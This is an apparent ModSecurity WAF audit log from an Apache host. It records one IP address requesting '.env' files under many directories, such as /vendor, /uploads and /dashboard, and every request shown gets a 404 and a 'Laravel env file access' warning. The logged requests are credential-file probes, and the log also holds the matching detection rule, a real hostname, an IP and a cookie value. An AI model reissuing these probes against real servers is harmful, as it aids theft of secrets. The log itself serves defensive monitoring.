Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/staging/.env"] [unique_id "aqYLz0wu1RSkptiiNIXtogAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266895158899 115899 (- - -)
Stopwatch2: 1789266895158899 115899; combined=4363, p1=209, p2=4064, p3=0, p4=0, p5=90, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb705767-Z--
--54f9b41d-A--
[13/Sep/2026:05:34:56.466480 +0300] aqYL0Ewu1RSkptiiNIXtpAAAAJY 34.175.231.24 51770 127.0.0.1 7081
--54f9b41d-B--
GET /vendor/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--54f9b41d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--54f9b41d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vendor/.env"] [unique_id "aqYL0Ewu1RSkptiiNIXtpAAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266896354445 112090 (- - -)
Stopwatch2: 1789266896354445 112090; combined=4410, p1=270, p2=4087, p3=0, p4=0, p5=52, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--54f9b41d-Z--
--8089311c-A--
[13/Sep/2026:05:34:57.338439 +0300] aqYL0WM7dE9KgIIOpQhdswAAANI 34.175.231.24 51778 127.0.0.1 7081
--8089311c-B--
GET /lib/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8089311c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8089311c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/lib/.env"] [unique_id "aqYL0WM7dE9KgIIOpQhdswAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266897227826 110676 (- - -)
Stopwatch2: 1789266897227826 110676; combined=3891, p1=212, p2=3615, p3=0, p4=0, p5=63, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8089311c-Z--
--701bf16d-A--
[13/Sep/2026:05:34:58.400301 +0300] aqYL0mM7dE9KgIIOpQhdtAAAANg 34.175.231.24 51784 127.0.0.1 7081
--701bf16d-B--
GET /resources/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--701bf16d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--701bf16d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/resources/.env"] [unique_id "aqYL0mM7dE9KgIIOpQhdtAAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266898250266 150089 (- - -)
Stopwatch2: 1789266898250266 150089; combined=6883, p1=1345, p2=5480, p3=0, p4=0, p5=57, sr=220, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--701bf16d-Z--
--74f1cb06-A--
[13/Sep/2026:05:34:59.467552 +0300] aqYL02M7dE9KgIIOpQhdtQAAANQ 34.175.231.24 51800 127.0.0.1 7081
--74f1cb06-B--
GET /assets/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--74f1cb06-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--74f1cb06-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/assets/.env"] [unique_id "aqYL02M7dE9KgIIOpQhdtQAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266899347509 120098 (- - -)
Stopwatch2: 1789266899347509 120098; combined=7410, p1=442, p2=6915, p3=0, p4=0, p5=52, sr=219, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74f1cb06-Z--
--fd142464-A--
[13/Sep/2026:05:35:00.292184 +0300] aqYL1GM7dE9KgIIOpQhdtgAAAM0 34.175.231.24 51816 127.0.0.1 7081
--fd142464-B--
GET /uploads/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--fd142464-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fd142464-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/uploads/.env"] [unique_id "aqYL1GM7dE9KgIIOpQhdtgAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266900177420 114837 (- - -)
Stopwatch2: 1789266900177420 114837; combined=4147, p1=285, p2=3807, p3=0, p4=0, p5=55, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fd142464-Z--
--24bd2350-A--
[13/Sep/2026:05:35:02.251089 +0300] aqYL1Uwu1RSkptiiNIXtpgAAAIw 34.175.231.24 51824 127.0.0.1 7081
--24bd2350-B--
GET /internal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--24bd2350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--24bd2350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/internal/.env"] [unique_id "aqYL1Uwu1RSkptiiNIXtpgAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266901478071 773082 (- - -)
Stopwatch2: 1789266901478071 773082; combined=10372, p1=267, p2=9923, p3=0, p4=0, p5=181, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24bd2350-Z--
--b5416f5d-A--
[13/Sep/2026:05:35:03.855503 +0300] aqYL1zTJ6xTvcJoem7f1hQAAAFM 34.175.231.24 51840 127.0.0.1 7081
--b5416f5d-B--
GET /tools/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b5416f5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b5416f5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/tools/.env"] [unique_id "aqYL1zTJ6xTvcJoem7f1hQAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266903301205 554374 (- - -)
Stopwatch2: 1789266903301205 554374; combined=14418, p1=297, p2=14037, p3=0, p4=0, p5=84, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b5416f5d-Z--
--09a1be41-A--
[13/Sep/2026:05:35:04.850245 +0300] aqYL2CsVWymXUono-eRQsAAAAA8 34.175.231.24 51856 127.0.0.1 7081
--09a1be41-B--
GET /scripts/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--09a1be41-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--09a1be41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/scripts/.env"] [unique_id "aqYL2CsVWymXUono-eRQsAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266904722047 128255 (- - -)
Stopwatch2: 1789266904722047 128255; combined=5153, p1=266, p2=4814, p3=0, p4=0, p5=73, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--09a1be41-Z--
--b9e81364-A--
[13/Sep/2026:05:35:05.894201 +0300] aqYL2WM7dE9KgIIOpQhdtwAAANA 34.175.231.24 44584 127.0.0.1 7081
--b9e81364-B--
GET /bin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b9e81364-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b9e81364-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bin/.env"] [unique_id "aqYL2WM7dE9KgIIOpQhdtwAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266905738995 155291 (- - -)
Stopwatch2: 1789266905738995 155291; combined=8545, p1=407, p2=8057, p3=0, p4=0, p5=81, sr=168, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9e81364-Z--
--edbff864-A--
[13/Sep/2026:05:35:06.991468 +0300] aqYL2jTJ6xTvcJoem7f1hwAAAFY 34.175.231.24 44598 127.0.0.1 7081
--edbff864-B--
GET /sbin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--edbff864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--edbff864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sbin/.env"] [unique_id "aqYL2jTJ6xTvcJoem7f1hwAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266906860947 130592 (- - -)
Stopwatch2: 1789266906860947 130592; combined=5795, p1=355, p2=5376, p3=0, p4=0, p5=63, sr=148, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--edbff864-Z--
--e205470b-A--
[13/Sep/2026:05:35:08.355652 +0300] aqYL3DTJ6xTvcJoem7f1iAAAAEU 34.175.231.24 44622 127.0.0.1 7081
--e205470b-B--
GET /local/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e205470b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e205470b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/local/.env"] [unique_id "aqYL3DTJ6xTvcJoem7f1iAAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266908224792 130968 (- - -)
Stopwatch2: 1789266908224792 130968; combined=5109, p1=384, p2=4667, p3=0, p4=0, p5=58, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e205470b-Z--
--b35eb158-A--
[13/Sep/2026:05:35:09.577465 +0300] aqYL3TTJ6xTvcJoem7f1iQAAAE4 34.175.231.24 44632 127.0.0.1 7081
--b35eb158-B--
GET /portal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b35eb158-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b35eb158-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/portal/.env"] [unique_id "aqYL3TTJ6xTvcJoem7f1iQAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266909457088 120436 (- - -)
Stopwatch2: 1789266909457088 120436; combined=5928, p1=339, p2=5505, p3=0, p4=0, p5=83, sr=128, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b35eb158-Z--
--a3262511-A--
[13/Sep/2026:05:35:10.726979 +0300] aqYL3mM7dE9KgIIOpQhduQAAANE 34.175.231.24 44644 127.0.0.1 7081
--a3262511-B--
GET /dashboard/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a3262511-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a3262511-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/dashboard/.env"] [unique_id "aqYL3mM7dE9KgIIOpQhduQAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266910578357 148683 (- - -)
Stopwatch2: 1789266910578357 148683; combined=10094, p1=2233, p2=7785, p3=0, p4=0, p5=76, sr=165, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
